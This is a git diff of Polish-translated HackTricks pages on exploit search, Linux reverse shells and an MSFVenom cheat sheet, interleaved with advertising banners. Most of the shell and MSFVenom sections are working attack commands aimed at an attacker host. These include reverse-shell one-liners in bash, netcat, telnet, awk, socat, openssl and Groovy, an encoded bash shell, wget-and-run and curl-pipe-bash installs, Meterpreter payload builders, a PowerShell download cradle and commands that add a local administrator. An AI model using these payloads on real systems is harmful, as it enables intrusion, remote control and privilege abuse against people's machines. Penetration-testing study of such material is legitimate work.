Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits), aby łatwo tworzyć i **automatyzować przepływy pracy** z wykorzystaniem najbardziej zaawansowanych narzędzi społecznościowych na świecie.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Use [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits) to easily build and **automate workflows** powered by the world's **most advanced** community tools.\
|
||||
Get Access Today:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
|
||||
|
||||
### Przeglądarka
|
||||
### Browser
|
||||
|
||||
Zawsze szukaj w "google" lub innych: **\<nazwa\_usługi> \[wersja\] exploit**
|
||||
Zawsze szukaj w "google" lub innych: **\<service\_name> \[version] exploit**
|
||||
|
||||
Warto również wypróbować **wyszukiwanie eksploitów shodan** na stronie [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
Powinieneś również spróbować **shodan** **exploit search** z [https://exploits.shodan.io/](https://exploits.shodan.io).
|
||||
|
||||
### Searchsploit
|
||||
|
||||
Przydatne do wyszukiwania eksploitów dla usług w **exploitdb z konsoli.**
|
||||
Przydatne do wyszukiwania exploitów dla usług w **exploitdb z konsoli.**
|
||||
```bash
|
||||
#Searchsploit tricks
|
||||
searchsploit "linux Kernel" #Example
|
||||
|
@ -50,34 +51,35 @@ msf> search platform:windows port:135 target:XP type:exploit
|
|||
```
|
||||
### PacketStorm
|
||||
|
||||
Jeśli nic nie zostanie znalezione, spróbuj wyszukać używaną technologię na stronie [https://packetstormsecurity.com/](https://packetstormsecurity.com)
|
||||
Jeśli nic nie zostanie znalezione, spróbuj wyszukać używaną technologię na [https://packetstormsecurity.com/](https://packetstormsecurity.com)
|
||||
|
||||
### Vulners
|
||||
|
||||
Możesz także wyszukać w bazie danych vulners: [https://vulners.com/](https://vulners.com)
|
||||
Możesz również przeszukać bazę danych vulners: [https://vulners.com/](https://vulners.com)
|
||||
|
||||
### Sploitus
|
||||
|
||||
To wyszukiwanie exploitów w innych bazach danych: [https://sploitus.com/](https://sploitus.com)
|
||||
To wyszukuje exploity w innych bazach danych: [https://sploitus.com/](https://sploitus.com)
|
||||
|
||||
<figure><img src="../.gitbook/assets/image (48).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits), aby łatwo tworzyć i **automatyzować zadania** przy użyciu najbardziej zaawansowanych narzędzi społeczności.\
|
||||
Otrzymaj dostęp już dziś:
|
||||
Użyj [**Trickest**](https://trickest.com/?utm_source=hacktricks&utm_medium=text&utm_campaign=ppc&utm_content=search-exploits), aby łatwo budować i **automatyzować przepływy pracy** zasilane przez **najbardziej zaawansowane** narzędzia społecznościowe na świecie.\
|
||||
Uzyskaj dostęp już dziś:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_source=hacktricks&utm_medium=banner&utm_campaign=ppc&utm_content=search-exploits" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Dowiedz się, jak hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów github.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,20 +1,21 @@
|
|||
# Shells - Linux
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF** sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
**Grupa Try Hard Security**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
|
@ -22,11 +23,11 @@ Inne sposoby wsparcia HackTricks:
|
|||
|
||||
***
|
||||
|
||||
**Jeśli masz pytania dotyczące któregokolwiek z tych shelli, możesz je sprawdzić za pomocą** [**https://explainshell.com/**](https://explainshell.com)
|
||||
**Jeśli masz pytania dotyczące któregokolwiek z tych shells, możesz je sprawdzić na** [**https://explainshell.com/**](https://explainshell.com)
|
||||
|
||||
## Full TTY
|
||||
## Pełny TTY
|
||||
|
||||
**Gdy już uzyskasz odwrócony shell**[ **przeczytaj tę stronę, aby uzyskać pełne TTY**](full-ttys.md)**.**
|
||||
**Gdy uzyskasz reverse shell**[ **przeczytaj tę stronę, aby uzyskać pełny TTY**](full-ttys.md)**.**
|
||||
|
||||
## Bash | sh
|
||||
```bash
|
||||
|
@ -41,9 +42,9 @@ exec 5<>/dev/tcp/<ATTACKER-IP>/<PORT>; while read line 0<&5; do $line 2>&5 >&5;
|
|||
#after getting the previous shell to get the output to execute
|
||||
exec >&0
|
||||
```
|
||||
### Bezpieczna powłoka symboli
|
||||
|
||||
Nie zapomnij sprawdzić innych powłok: sh, ash, bsh, csh, ksh, zsh, pdksh, tcsh i bash.
|
||||
|
||||
### Symbol bezpieczna powłoka
|
||||
```bash
|
||||
#If you need a more stable connection do:
|
||||
bash -c 'bash -i >& /dev/tcp/<ATTACKER-IP>/<PORT> 0>&1'
|
||||
|
@ -55,10 +56,10 @@ echo bm9odXAgYmFzaCAtYyAnYmFzaCAtaSA+JiAvZGV2L3RjcC8xMC44LjQuMTg1LzQ0NDQgMD4mMSc
|
|||
#### Wyjaśnienie powłoki
|
||||
|
||||
1. **`bash -i`**: Ta część polecenia uruchamia interaktywną (`-i`) powłokę Bash.
|
||||
2. **`>&`**: Ta część polecenia jest skrótem do **przekierowania zarówno standardowego wyjścia** (`stdout`) jak i **standardowego błędu** (`stderr`) do **tego samego miejsca docelowego**.
|
||||
3. **`/dev/tcp/<ADRES-ATAKUJĄCEGO>/<PORT>`**: Jest to specjalny plik, który **reprezentuje połączenie TCP z określonym adresem IP i portem**.
|
||||
* Poprzez **przekierowanie strumieni wyjścia i błędów do tego pliku**, polecenie efektywnie wysyła wyjście sesji interaktywnej powłoki na maszynę atakującego.
|
||||
4. **`0>&1`**: Ta część polecenia **przekierowuje standardowe wejście (`stdin`) do tego samego miejsca docelowego co standardowe wyjście (`stdout`)**.
|
||||
2. **`>&`**: Ta część polecenia jest skrótem do **przekierowywania zarówno standardowego wyjścia** (`stdout`), jak i **standardowego błędu** (`stderr`) do **tego samego miejsca**.
|
||||
3. **`/dev/tcp/<ATTACKER-IP>/<PORT>`**: To jest specjalny plik, który **reprezentuje połączenie TCP z określonym adresem IP i portem**.
|
||||
* Przez **przekierowywanie strumieni wyjścia i błędów do tego pliku**, polecenie skutecznie wysyła wyjście interaktywnej sesji powłoki do maszyny atakującego.
|
||||
4. **`0>&1`**: Ta część polecenia **przekierowuje standardowe wejście (`stdin`) do tego samego miejsca co standardowe wyjście (`stdout`)**.
|
||||
|
||||
### Utwórz w pliku i wykonaj
|
||||
```bash
|
||||
|
@ -67,11 +68,11 @@ wget http://<IP attacker>/shell.sh -P /tmp; chmod +x /tmp/shell.sh; /tmp/shell.s
|
|||
```
|
||||
## Forward Shell
|
||||
|
||||
Podczas radzenia sobie z podatnością na **zdalne wykonanie kodu (RCE)** w aplikacji internetowej opartej na systemie Linux, osiągnięcie odwrotnego powłoki może być utrudnione przez zabezpieczenia sieciowe, takie jak reguły iptables lub złożone mechanizmy filtrowania pakietów. W takich ograniczonych środowiskach alternatywnym podejściem jest ustanowienie powłoki PTY (Pseudo Terminal), aby efektywniej komunikować się z skompromitowanym systemem.
|
||||
Kiedy mamy do czynienia z luką **Remote Code Execution (RCE)** w aplikacji webowej opartej na Linuksie, uzyskanie odwrotnego shella może być utrudnione przez zabezpieczenia sieciowe, takie jak reguły iptables lub skomplikowane mechanizmy filtrowania pakietów. W takich ograniczonych środowiskach alternatywnym podejściem jest nawiązanie shella PTY (Pseudo Terminal), aby skuteczniej interagować z zainfekowanym systemem.
|
||||
|
||||
Polecane narzędzie do tego celu to [toboggan](https://github.com/n3rada/toboggan.git), które ułatwia interakcję z docelowym środowiskiem.
|
||||
Zalecanym narzędziem do tego celu jest [toboggan](https://github.com/n3rada/toboggan.git), które upraszcza interakcję z docelowym środowiskiem.
|
||||
|
||||
Aby efektywnie wykorzystać toboggan, stwórz moduł Pythona dostosowany do kontekstu RCE twojego systemu docelowego. Na przykład moduł o nazwie `nix.py` może być zorganizowany w następujący sposób:
|
||||
Aby skutecznie wykorzystać toboggan, stwórz moduł Pythona dostosowany do kontekstu RCE twojego systemu docelowego. Na przykład, moduł o nazwie `nix.py` mógłby być skonstruowany w następujący sposób:
|
||||
```python3
|
||||
import jwt
|
||||
import httpx
|
||||
|
@ -95,22 +96,21 @@ response.raise_for_status()
|
|||
|
||||
return response.text
|
||||
```
|
||||
I następnie możesz uruchomić:
|
||||
A następnie możesz uruchomić:
|
||||
```shell
|
||||
toboggan -m nix.py -i
|
||||
```
|
||||
Do bezpośredniego wykorzystania powłoki interaktywnej. Możesz dodać `-b` dla integracji z Burpsuite i usunąć `-i` dla bardziej podstawowego opakowania rce.
|
||||
Aby bezpośrednio wykorzystać interaktywną powłokę. Możesz dodać `-b` dla integracji z Burpsuite i usunąć `-i` dla bardziej podstawowego opakowania rce.
|
||||
|
||||
Inną możliwością jest użycie implementacji powłoki forward `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
|
||||
Inną możliwością jest użycie implementacji przekierowania powłoki `IppSec` [**https://github.com/IppSec/forward-shell**](https://github.com/IppSec/forward-shell).
|
||||
Musisz tylko zmodyfikować:
|
||||
|
||||
Wystarczy zmodyfikować:
|
||||
|
||||
* Adres URL podatnego hosta
|
||||
* URL podatnego hosta
|
||||
* Prefiks i sufiks twojego ładunku (jeśli istnieje)
|
||||
* Sposób wysyłania ładunku (nagłówki? dane? dodatkowe informacje?)
|
||||
|
||||
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`** aby uzyskać pełne PTY (zauważ, że rury są czytane i zapisywane z opóźnieniem około 1,3 s).
|
||||
Następnie możesz po prostu **wysyłać polecenia** lub nawet **użyć polecenia `upgrade`**, aby uzyskać pełny PTY (zauważ, że potoki są odczytywane i zapisywane z przybliżonym opóźnieniem 1,3 s).
|
||||
|
||||
## Netcat
|
||||
```bash
|
||||
|
@ -122,13 +122,11 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | nc <ATTACKER-IP> <
|
|||
```
|
||||
## gsocket
|
||||
|
||||
Sprawdź to pod adresem [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
Sprawdź to w [https://www.gsocket.io/deploy/](https://www.gsocket.io/deploy/)
|
||||
```bash
|
||||
bash -c "$(curl -fsSL gsocket.io/x)"
|
||||
```
|
||||
## Telnet
|
||||
|
||||
Telnet jest protokołem sieciowym, który umożliwia zdalne logowanie się do hostów. Może być używany do zdalnego zarządzania systemami oraz do przesyłania poleceń. Telnet przesyła dane w postaci tekstu, co oznacza, że nie jest zaszyfrowany i może stanowić ryzyko dla bezpieczeństwa.
|
||||
```bash
|
||||
telnet <ATTACKER-IP> <PORT> | /bin/sh #Blind
|
||||
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|telnet <ATTACKER-IP> <PORT> >/tmp/f
|
||||
|
@ -137,11 +135,11 @@ rm -f /tmp/bkpipe;mknod /tmp/bkpipe p;/bin/sh 0</tmp/bkpipe | telnet <ATTACKER-I
|
|||
```
|
||||
## Whois
|
||||
|
||||
**Atakujący**
|
||||
**Napastnik**
|
||||
```bash
|
||||
while true; do nc -l <port>; done
|
||||
```
|
||||
Aby wysłać polecenie, zapisz je, naciśnij Enter, a następnie naciśnij CTRL+D (aby zatrzymać STDIN)
|
||||
Aby wysłać polecenie, napisz je, naciśnij enter i naciśnij CTRL+D (aby zatrzymać STDIN)
|
||||
|
||||
**Ofiara**
|
||||
```bash
|
||||
|
@ -244,7 +242,7 @@ https://gitlab.com/0x4ndr3/blog/blob/master/JSgen/JSgen.py
|
|||
```
|
||||
## OpenSSL
|
||||
|
||||
Napastnik (Kali)
|
||||
Atakujący (Kali)
|
||||
```bash
|
||||
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes #Generate certificate
|
||||
openssl s_server -quiet -key key.pem -cert cert.pem -port <l_port> #Here you will be able to introduce the commands
|
||||
|
@ -262,7 +260,7 @@ openssl.exe s_client -quiet -connect <ATTACKER_IP>:<PORT1>|cmd.exe|openssl s_cli
|
|||
|
||||
[https://github.com/andrew-d/static-binaries](https://github.com/andrew-d/static-binaries)
|
||||
|
||||
### Powiązane powłoki
|
||||
### Shell powiązany
|
||||
```bash
|
||||
victim> socat TCP-LISTEN:1337,reuseaddr,fork EXEC:bash,pty,stderr,setsid,sigint,sane
|
||||
attacker> socat FILE:`tty`,raw,echo=0 TCP:<victim_ip>:1337
|
||||
|
@ -276,13 +274,13 @@ victim> socat TCP4:<attackers_ip>:1337 EXEC:bash,pty,stderr,setsid,sigint,sane
|
|||
```bash
|
||||
awk 'BEGIN {s = "/inet/tcp/0/<IP>/<PORT>"; while(42) { do{ printf "shell>" |& s; s |& getline c; if(c){ while ((c |& getline) > 0) print $0 |& s; close(c); } } while(c != "exit") close(s); }}' /dev/null
|
||||
```
|
||||
## Palec
|
||||
## Finger
|
||||
|
||||
**Atakujący**
|
||||
```bash
|
||||
while true; do nc -l 79; done
|
||||
```
|
||||
Aby wysłać polecenie, napisz je, naciśnij Enter, a następnie naciśnij CTRL+D (aby zatrzymać STDIN)
|
||||
Aby wysłać polecenie, napisz je, naciśnij enter i naciśnij CTRL+D (aby zatrzymać STDIN)
|
||||
|
||||
**Ofiara**
|
||||
```bash
|
||||
|
@ -290,8 +288,6 @@ export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null')`; s
|
|||
|
||||
export X=Connected; while true; do X=`eval $(finger "$X"@<IP> 2> /dev/null | grep '!'|sed 's/^!//')`; sleep 1; done
|
||||
```
|
||||
## Gawk
|
||||
|
||||
## Gawk
|
||||
```bash
|
||||
#!/usr/bin/gawk -f
|
||||
|
@ -321,7 +317,7 @@ To spróbuje połączyć się z twoim systemem na porcie 6001:
|
|||
```bash
|
||||
xterm -display 10.0.0.1:1
|
||||
```
|
||||
Aby przechwycić odwróconą powłokę, możesz użyć (która będzie nasłuchiwać na porcie 6001):
|
||||
Aby przechwycić reverse shell, możesz użyć (który będzie nasłuchiwał na porcie 6001):
|
||||
```bash
|
||||
# Authorize host
|
||||
xhost +targetip
|
||||
|
@ -330,14 +326,14 @@ Xnest :1
|
|||
```
|
||||
## Groovy
|
||||
|
||||
autor: [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) UWAGA: Odwrócone powłoki Java również działają dla Groovy
|
||||
by [frohoff](https://gist.github.com/frohoff/fed1ffaab9b9beeb1c76) UWAGA: Java reverse shell również działa dla Groovy
|
||||
```bash
|
||||
String host="localhost";
|
||||
int port=8044;
|
||||
String cmd="cmd.exe";
|
||||
Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new Socket(host,port);InputStream pi=p.getInputStream(),pe=p.getErrorStream(), si=s.getInputStream();OutputStream po=p.getOutputStream(),so=s.getOutputStream();while(!s.isClosed()){while(pi.available()>0)so.write(pi.read());while(pe.available()>0)so.write(pe.read());while(si.available()>0)po.write(si.read());so.flush();po.flush();Thread.sleep(50);try {p.exitValue();break;}catch (Exception e){}};p.destroy();s.close();
|
||||
```
|
||||
## Odnośniki
|
||||
## Odniesienia
|
||||
|
||||
* [https://highon.coffee/blog/reverse-shell-cheat-sheet/](https://highon.coffee/blog/reverse-shell-cheat-sheet/)
|
||||
* [http://pentestmonkey.net/cheat-sheet/shells/reverse-shell](http://pentestmonkey.net/cheat-sheet/shells/reverse-shell)
|
||||
|
@ -350,16 +346,17 @@ Process p=new ProcessBuilder(cmd).redirectErrorStream(true).start();Socket s=new
|
|||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Kup [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegram**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -1,33 +1,34 @@
|
|||
# MSFVenom - Karta oszustw
|
||||
# MSFVenom - CheatSheet
|
||||
|
||||
{% hint style="success" %}
|
||||
Ucz się i ćwicz Hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Ucz się i ćwicz Hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Naucz się hakować AWS od zera do bohatera z</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary>Wsparcie dla HackTricks</summary>
|
||||
|
||||
Inne sposoby wsparcia HackTricks:
|
||||
|
||||
* Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLANY SUBSKRYPCYJNE**](https://github.com/sponsors/carlospolop)!
|
||||
* Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family)
|
||||
* Sprawdź [**plany subskrypcyjne**](https://github.com/sponsors/carlospolop)!
|
||||
* **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* **Dziel się trikami hackingowymi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repozytoriów na githubie.
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (380).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
Dołącz do serwera [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy), aby komunikować się z doświadczonymi hakerami i łowcami błędów!
|
||||
Dołącz do [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) serwera, aby komunikować się z doświadczonymi hackerami i łowcami bugów!
|
||||
|
||||
**Spojrzenie na Hacking**\
|
||||
Zajmij się treściami, które zagłębiają się w emocje i wyzwania hakerstwa
|
||||
**Wgląd w Hacking**\
|
||||
Zaangażuj się w treści, które zgłębiają dreszczyk emocji i wyzwania związane z hackingiem
|
||||
|
||||
**Aktualności z Hackingu na Żywo**\
|
||||
Bądź na bieżąco z szybkim światem hakerstwa dzięki aktualnościom i spojrzeniom na żywo
|
||||
**Aktualności Hackingowe w Czasie Rzeczywistym**\
|
||||
Bądź na bieżąco z dynamicznym światem hackingu dzięki aktualnym wiadomościom i wglądom
|
||||
|
||||
**Najnowsze Ogłoszenia**\
|
||||
Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacjami platformy
|
||||
Bądź informowany o najnowszych programach bug bounty oraz istotnych aktualizacjach platformy
|
||||
|
||||
**Dołącz do nas na** [**Discordzie**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hakerami już dziś!
|
||||
**Dołącz do nas na** [**Discord**](https://discord.com/invite/N3FrSbmwdy) i zacznij współpracować z najlepszymi hackerami już dziś!
|
||||
|
||||
***
|
||||
|
||||
|
@ -35,14 +36,14 @@ Bądź na bieżąco z najnowszymi programami bug bounty i istotnymi aktualizacja
|
|||
|
||||
`msfvenom -p <PAYLOAD> -e <ENCODER> -f <FORMAT> -i <ENCODE COUNT> LHOST=<IP>`
|
||||
|
||||
Można również użyć `-a` aby określić architekturę lub `--platform`
|
||||
Można również użyć `-a`, aby określić architekturę lub `--platform`
|
||||
|
||||
## Listing
|
||||
## Lista
|
||||
```bash
|
||||
msfvenom -l payloads #Payloads
|
||||
msfvenom -l encoders #Encoders
|
||||
```
|
||||
## Wspólne parametry podczas tworzenia kodu powłoki
|
||||
## Typowe parametry przy tworzeniu shellcode
|
||||
```bash
|
||||
-b "\x00\x0a\x0d"
|
||||
-f c
|
||||
|
@ -52,13 +53,15 @@ PrependSetuid=True #Use this to create a shellcode that will execute something w
|
|||
```
|
||||
## **Windows**
|
||||
|
||||
### **Odwrócony Shell**
|
||||
### **Reverse Shell**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > reverse.exe
|
||||
```
|
||||
### Powiązane powłoki
|
||||
{% endcode %}
|
||||
|
||||
### Bind Shell
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
|
@ -72,12 +75,16 @@ msfvenom -p windows/meterpreter/bind_tcp RHOST=(IP Address) LPORT=(Your Port) -f
|
|||
```bash
|
||||
msfvenom -p windows/adduser USER=attacker PASS=attacker@123 -f exe > adduser.exe
|
||||
```
|
||||
### Powłoka CMD
|
||||
{% endcode %}
|
||||
|
||||
### CMD Shell
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f exe > prompt.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### **Wykonaj polecenie**
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
|
@ -85,32 +92,32 @@ msfvenom -p windows/shell/reverse_tcp LHOST=(IP Address) LPORT=(Your Port) -f ex
|
|||
msfvenom -a x86 --platform Windows -p windows/exec CMD="powershell \"IEX(New-Object Net.webClient).downloadString('http://IP/nishang.ps1')\"" -f exe > pay.exe
|
||||
msfvenom -a x86 --platform Windows -p windows/exec CMD="net localgroup administrators shaun /add" -f exe > pay.exe
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Kodowanie
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
### Encoder
|
||||
```bash
|
||||
msfvenom -p windows/meterpreter/reverse_tcp -e shikata_ga_nai -i 3 -f exe > encoded.exe
|
||||
```
|
||||
### Osadzony wewnątrz pliku wykonywalnego
|
||||
{% endcode %}
|
||||
|
||||
### Osadzone w pliku wykonywalnym
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
